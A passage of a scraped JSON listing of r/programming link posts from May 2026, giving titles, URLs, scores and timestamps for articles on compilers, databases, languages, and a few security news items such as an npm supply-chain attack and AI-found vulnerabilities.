    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbfzvv",
  "url": "https://certscore.org/blog/from-17-min-to-2-min",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbfzvv/cutting_a_17minute_bulk_upload_to_2_minutes/",
  "title": "Cutting a 17-minute bulk upload to 2 minutes (Postgres + Supabase Edge + NDJSON streaming)",
  "body": null,
  "author": "Public_Ad_5097",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 0,
  "createdAt": "2026-05-12T21:52:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://certscore.org/blog/from-17-min-to-2-min",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbfz07",
  "url": "https://morwenn.github.io/c++/2026/05/02/TSB011-quantity-safe-analog-literals.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbfz07/quantitysafe_analog_literals/",
  "title": "Quantity-safe analog literals",
  "body": null,
  "author": "Morwenn",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-05-12T21:51:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://morwenn.github.io/c++/2026/05/02/TSB011-quantity-safe-analog-literals.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbcj3x",
  "url": "https://daniel.haxx.se/blog/2026/05/11/mythos-finds-a-curl-vulnerability/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbcj3x/curl_lead_developer_daniel_stenberg_provides/",
  "title": "Curl lead developer Daniel Stenberg provides insightful feedbacks from Mythos analysis results",
  "body": null,
  "author": "ScottContini",
  "subreddit": "programming",
  "score": 117,
  "upvoteRatio": 0.93,
  "numComments": 30,
  "createdAt": "2026-05-12T19:46:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daniel.haxx.se/blog/2026/05/11/mythos-finds-a-curl-vulnerability/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tb9quz",
  "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-vulnerability-exploitation-initial-access/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tb9quz/google_threat_intelligence_group_first_large/",
  "title": "Google Threat Intelligence Group: First Large Scale Weaponized Use of AI Zero Days Observed In The Wild",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.83,
  "numComments": 1,
  "createdAt": "2026-05-12T18:10:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-vulnerability-exploitation-initial-access/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tb89rx",
  "url": "https://vittorioromeo.com/index/blog/refl_enum_to_string.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tb89rx/cost_of_enumtostring_c26_reflection_vs_the_old/",
  "title": "cost of enum-to-string: C++26 reflection vs the old ways",
  "body": null,
  "author": "SuperV1234",
  "subreddit": "programming",
  "score": 54,
  "upvoteRatio": 0.94,
  "numComments": 1,
  "createdAt": "2026-05-12T17:20:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vittorioromeo.com/index/blog/refl_enum_to_string.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tb4jtk",
  "url": "https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tb4jtk/discovering_dennis_ritchies_lost_dissertation/",
  "title": "Discovering Dennis Ritchie’s Lost Dissertation",
  "body": null,
  "author": "someone-very-cool",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.92,
  "numComments": 0,
  "createdAt": "2026-05-12T15:12:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tb2kos",
  "url": "https://zylinski.se/posts/toms-namespaces/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tb2kos/toms_namespaces_an_odin_fanfic/",
  "title": "Tom's Namespaces: An Odin Fanfic",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 55,
  "upvoteRatio": 0.88,
  "numComments": 19,
  "createdAt": "2026-05-12T14:02:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zylinski.se/posts/toms-namespaces/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tb23g2",
  "url": "https://benbowen.blog/post/inspecting_3d_objects/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tb23g2/using_tinyffr_to_inspect_3d_objects_with_a_28line/",
  "title": "Using TinyFFR to inspect 3D objects with a 28-line C# script",
  "body": null,
  "author": "Xenoprimate2",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-05-12T13:44:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://benbowen.blog/post/inspecting_3d_objects/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tb03pq",
  "url": "https://youtu.be/oItac1VPsso?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1tb03pq/state_of_serverless_devex_observability_jones/",
  "title": "State of Serverless DevEx & Observability • Jones Zachariah Noel N",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.83,
  "numComments": 2,
  "createdAt": "2026-05-12T12:27:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/oItac1VPsso?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tay0vx",
  "url": "https://fagnerbrack.com/what-is-a-rest-api-and-why-yours-probably-isnt-one-7e5fb65ece4d?postPublishedType=repub",
  "permalink": "https://www.reddit.com/r/programming/comments/1tay0vx/what_is_a_rest_api_and_why_yours_probably_isnt_one/",
  "title": "What Is a REST API, and Why Yours Probably Isn’t One",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 23,
  "createdAt": "2026-05-12T10:54:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/what-is-a-rest-api-and-why-yours-probably-isnt-one-7e5fb65ece4d?postPublishedType=repub",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tawefj",
  "url": "https://cekrem.github.io/posts/canonicalise-dont-remember-kotlin/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tawefj/canonicalise_dont_remember_smart_constructors_in/",
  "title": "Canonicalise, Don't Remember — Smart Constructors in Kotlin · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 7,
  "createdAt": "2026-05-12T09:28:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/canonicalise-dont-remember-kotlin/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tavw25",
  "url": "https://blog.jacobstechtavern.com/p/urlsession-to-electrons",
  "permalink": "https://www.reddit.com/r/programming/comments/1tavw25/urlsession_to_electrons_how_networking_works/",
  "title": "URLSession to Electrons: how networking works under the hood",
  "body": null,
  "author": "jacobs-tech-tavern",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 1,
  "numComments": 1,
  "createdAt": "2026-05-12T09:00:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jacobstechtavern.com/p/urlsession-to-electrons",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tauzh3",
  "url": "https://zackoverflow.dev/writing/zig-vs-rust-in-2026/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tauzh3/zig_vs_rust_in_2026/",
  "title": "Zig vs Rust in 2026",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 22,
  "createdAt": "2026-05-12T08:08:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zackoverflow.dev/writing/zig-vs-rust-in-2026/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tauw5t",
  "url": "https://chrisistyping.bearblog.dev/abstract-machines-for-logic-programs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tauw5t/abstract_machines_for_logic_programs/",
  "title": "Abstract machines for logic programs",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.86,
  "numComments": 0,
  "createdAt": "2026-05-12T08:03:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chrisistyping.bearblog.dev/abstract-machines-for-logic-programs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tau199",
  "url": "https://coe.psu.ac.th/ad/macros/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tau199/recursion_and_the_stp_macro_processor/",
  "title": "Recursion and the STP Macro Processor",
  "body": null,
  "author": "ADavison2560",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-05-12T07:14:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://coe.psu.ac.th/ad/macros/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tapmvi",
  "url": "https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tapmvi/mass_npm_supply_chain_attack_hits_tanstack/",
  "title": "Mass npm Supply Chain Attack Hits TanStack, Mistral AI, and 170+ Packages",
  "body": "massive campaign for 170+ packages and 400+ malicious versions published. what we saw that not a single maintainer account compromised. tanStack and Mistral AI these are the names that stand out.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 725,
  "upvoteRatio": 0.98,
  "numComments": 116,
  "createdAt": "2026-05-12T03:29:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tab7hg",
  "url": "https://www.augustl.com/blog/2013/zeromq_instead_of_http/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tab7hg/zeromq_instead_of_http_for_internal_services_2013/",
  "title": "ZeroMQ instead of HTTP, for internal services (2013)",
  "body": null,
  "author": "yawaramin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 5,
  "createdAt": "2026-05-11T18:03:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.augustl.com/blog/2013/zeromq_instead_of_http/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta83gf",
  "url": "https://danielmay.co.uk/posts/froot-loops-and-a-graphics-card/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta83gf/froot_loops_and_a_graphics_card_reflecting_on/",
  "title": "Froot Loops and a graphics card: reflecting on twenty years of programming",
  "body": null,
  "author": "prescorn",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.9,
  "numComments": 1,
  "createdAt": "2026-05-11T16:17:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://danielmay.co.uk/posts/froot-loops-and-a-graphics-card/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta7ulb",
  "url": "https://andrii.ro/blog/investigating-malware",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta7ulb/be_careful_with_your_git_investigating_malware/",
  "title": "Be careful with your Git: Investigating malware spreading through Git repositories",
  "body": null,
  "author": "Sensiduct",
  "subreddit": "programming",
  "score": 95,
  "upvoteRatio": 0.94,
  "numComments": 20,
  "createdAt": "2026-05-11T16:09:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://andrii.ro/blog/investigating-malware",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta5dax",
  "url": "https://github.com/openjdk/jdk/pull/31120",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta5dax/8317277_java_language_implementation_of_value/",
  "title": "8317277: Java language implementation of value classes and objects by MrSimms · Pull Request #31120 · openjdk/jdk",
  "body": "For those unaware, this is the Pull Request for Java's [JEP 401: Value Classes and Objects (Preview)](https://openjdk.org/jeps/401).\n\n  \nValue Classes have been a LONG AWAITED feature for Java, so this Pull Request is proof that we are one step closer to them going into Preview!\n\n  \n***BUT PLEASE REMEMBER -- No commitment has been made to target a release yet!***\n\nThis is merely a PR RFR, and nothing more. All this is is showing us part of what it takes to bring Value Objects to Preview, as well as announcing that we are one step closer to (hopefully!) go to preview. But again, no idea how far away that may be. It could be JDK 27 (coming this September), it could be later.\n\nJust appreciate the PR for what it is -- a window into the work required to make Value Classes a reality. ~3k commits and ~2k classes changed is just a snapshot of the level of effort here. Shows why [this JEP](https://openjdk.org/jeps/401) has been given an XL rating lol.",
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 90,
  "upvoteRatio": 0.91,
  "numComments": 42,
  "createdAt": "2026-05-11T14:42:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/openjdk/jdk/pull/31120",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta5c8g",
  "url": "https://matt.might.net/articles/implementing-a-programming-language/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta5c8g/7_lines_of_code_3_minutes_implement_a_programming/",
  "title": "7 lines of code, 3 minutes: Implement a programming language",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 6,
  "createdAt": "2026-05-11T14:41:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matt.might.net/articles/implementing-a-programming-language/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta3gf1",
  "url": "https://youtu.be/XSXGf3oN2yU?list=PLEx5khR4g7PJozVmHNpQTVrk1QRC7YaJu",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta3gf1/roc_zig_a_compiler_rewrite_story_anjana_vakil/",
  "title": "Roc & Zig: A Compiler Rewrite Story • Anjana Vakil & Richard Feldman",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-05-11T13:33:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/XSXGf3oN2yU?list=PLEx5khR4g7PJozVmHNpQTVrk1QRC7YaJu",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta25is",
  "url": "https://easylang.online/blog/qsort",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta25is/branchavoidant_quicksort_in_c_faster_than_stdsort/",
  "title": "Branch-Avoidant Quicksort in C - faster than std::sort and pdqsort",
  "body": null,
  "author": "chkas",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.8,
  "numComments": 15,
  "createdAt": "2026-05-11T12:41:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://easylang.online/blog/qsort",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ta0z1j",
  "url": "https://www.wired.com/story/cuda-proves-nvidia-is-a-software-company/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ta0z1j/cuda_proves_nvidia_is_a_software_company/",
  "title": "CUDA Proves Nvidia Is a Software Company",
  "body": null,
  "author": "Interesting_Pack_483",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 2,
  "createdAt": "2026-05-11T11:51:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wired.com/story/cuda-proves-nvidia-is-a-software-company/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t9wmeq",
  "url": "https://nesbitt.io/2026/05/04/package-manager-cwes.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t9wmeq/package_manager_cwes/",
  "title": "Package Manager CWEs",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.89,
  "numComments": 0,
  "createdAt": "2026-05-11T07:59:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nesbitt.io/2026/05/04/package-manager-cwes.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t9rl27",
  "url": "https://rival.security/posts/mythos-discovered-a-cve-already-in-its-training-data---and-thats-still-worrying",
  "permalink": "https://www.reddit.com/r/programming/comments/1t9rl27/the_freebsd_vulnerability_discovered_by_mythos/",
  "title": "The FreeBSD vulnerability \"discovered\" by Mythos was already in its training data.",
  "body": null,
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 1307,
  "upvoteRatio": 0.97,
  "numComments": 234,
  "createdAt": "2026-05-11T03:30:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rival.security/posts/mythos-discovered-a-cve-already-in-its-training-data---and-thats-still-worrying",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t9qp57",
  "url": "https://coe.psu.ac.th/ad/subleq/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t9qp57/the_bottomup_building_of_a_language_for_subleq/",
  "title": "The Bottom-up Building of a Language for Subleq with Text Macros",
  "body": null,
  "author": "ADavison2560",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.92,
  "numComments": 0,
  "createdAt": "2026-05-11T02:47:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://coe.psu.ac.th/ad/subleq/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t9gfcj",
  "url": "https://jakelazaroff.com/words/an-interactive-intro-to-crdts/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t9gfcj/an_interactive_intro_to_crdts/",
  "title": "An Interactive Intro to CRDTs",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 105,
  "upvoteRatio": 0.95,
  "numComments": 4,
  "createdAt": "2026-05-10T19:28:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jakelazaroff.com/words/an-interactive-intro-to-crdts/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t98wxr",
  "url": "https://til.andrew-quinn.me/posts/replacing-a-3-gb-sqlite-database-with-a-7-mb-fst-finite-state-trandsucer-binary/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t98wxr/replacing_a_3_gb_sqlite_database_with_a_10_mb_fst/",
  "title": "Replacing a 3 GB SQLite database with a 10 MB FST",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 273,
  "upvoteRatio": 0.95,
  "numComments": 24,
  "createdAt": "2026-05-10T14:47:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://til.andrew-quinn.me/posts/replacing-a-3-gb-sqlite-database-with-a-7-mb-fst-finite-state-trandsucer-binary/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t98whm",
  "url": "https://blog.dochia.dev/blog/idempotency/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t98whm/idempotency_is_easy_until_the_second_request_is/",
  "title": "Idempotency Is Easy Until the Second Request Is Different",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 75,
  "upvoteRatio": 0.63,
  "numComments": 57,
  "createdAt": "2026-05-10T14:46:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dochia.dev/blog/idempotency/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t98rno",
  "url": "https://lisyarus.github.io/blog/posts/making-your-own-programming-language.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t98rno/making_your_own_programming_language_is_easier/",
  "title": "Making your own programming language is easier than you think (but also harder)",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 114,
  "upvoteRatio": 0.81,
  "numComments": 118,
  "createdAt": "2026-05-10T14:41:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lisyarus.github.io/blog/posts/making-your-own-programming-language.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t98jcn",
  "url": "https://www.wired.com/story/cobol-is-the-asbestos-of-programming-languages/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t98jcn/cobol_is_the_asbestos_of_programming_languages/",
  "title": "COBOL is the Asbestos of Programming Languages",
  "body": null,
  "author": "Interesting_Pack_483",
  "subreddit": "programming",
  "score": 747,
  "upvoteRatio": 0.88,
  "numComments": 274,
  "createdAt": "2026-05-10T14:32:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wired.com/story/cobol-is-the-asbestos-of-programming-languages/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t98gpa",
  "url": "https://blog.gaborkoos.com/posts/2026-05-08-The-Go-Compiler-a-Deep-Dive-Into-How-Your-Code-Becomes-a-Binary/?utm_source=reddit&utm_medium=social&utm_campaign=the-go-compiler-a-deep-dive-into-how-your-code-becomes-a-binary&utm_content=r_programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1t98gpa/how_go_turns_your_source_code_into_a_binary_a/",
  "title": "How Go turns your source code into a binary: a practical deep dive into the compiler pipeline",
  "body": "Ever wondered why some allocations happen on the heap and others stay on the stack? \n\nWhy certain calls get inlined but others don't? Why loop structure changes assembly output?\n\nThis is a full walkthrough of Go's compiler pipeline: lexing, parsing, type checking, IR lowering, SSA construction, optimization passes (inlining, escape analysis, bounds-check elimination), and code generation. \n\nIncludes concrete tools and experiments you can run today (GOSSAFUNC, -m, -S) to observe each phase yourself.",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.75,
  "numComments": 5,
  "createdAt": "2026-05-10T14:29:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-05-08-The-Go-Compiler-a-Deep-Dive-Into-How-Your-Code-Becomes-a-Binary/?utm_source=reddit&utm_medium=social&utm_campaign=the-go-compiler-a-deep-dive-into-how-your-code-becomes-a-binary&utm_content=r_programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t97ffr",
  "url": "https://testing.googleblog.com/2026/05/construct-with-collaborators-call-with.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t97ffr/construct_with_collaborators_call_with_work/",
  "title": "Construct with Collaborators, Call with Work",
  "body": null,
  "author": "ghled",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 4,
  "createdAt": "2026-05-10T13:48:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://testing.googleblog.com/2026/05/construct-with-collaborators-call-with.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t94l80",
  "url": "https://arthurcornil.com/blog/ship-it-to-the-user/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t94l80/what_if_the_browser_was_the_server_go_compiled_to/",
  "title": "What if the browser was the server? Go compiled to WASM and SQLite, running entirely in the browser's tab. No server, no account",
  "body": "I've been thinking about how most personal productivity tools are SaaS for business reasons, not technical ones. A time tracker, journaling app or habit tracker has no reason to store your data on a remote server.  \n  \nWASM changes this. You can compile a backend in any language and ship it directly to the user's browser.  \n  \nSQLite can run there too, storing data persistently via OPFS, a filesystem API the browser now ships with. The whole thing is delivered via a URL and runs entirely on the user's machine. No server, no account, no subscription.",
  "author": "quirissum",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 20,
  "createdAt": "2026-05-10T11:38:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arthurcornil.com/blog/ship-it-to-the-user/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t93crv",
  "url": "https://eieio.games/blog/secure-massively-multiplayer-snake/",
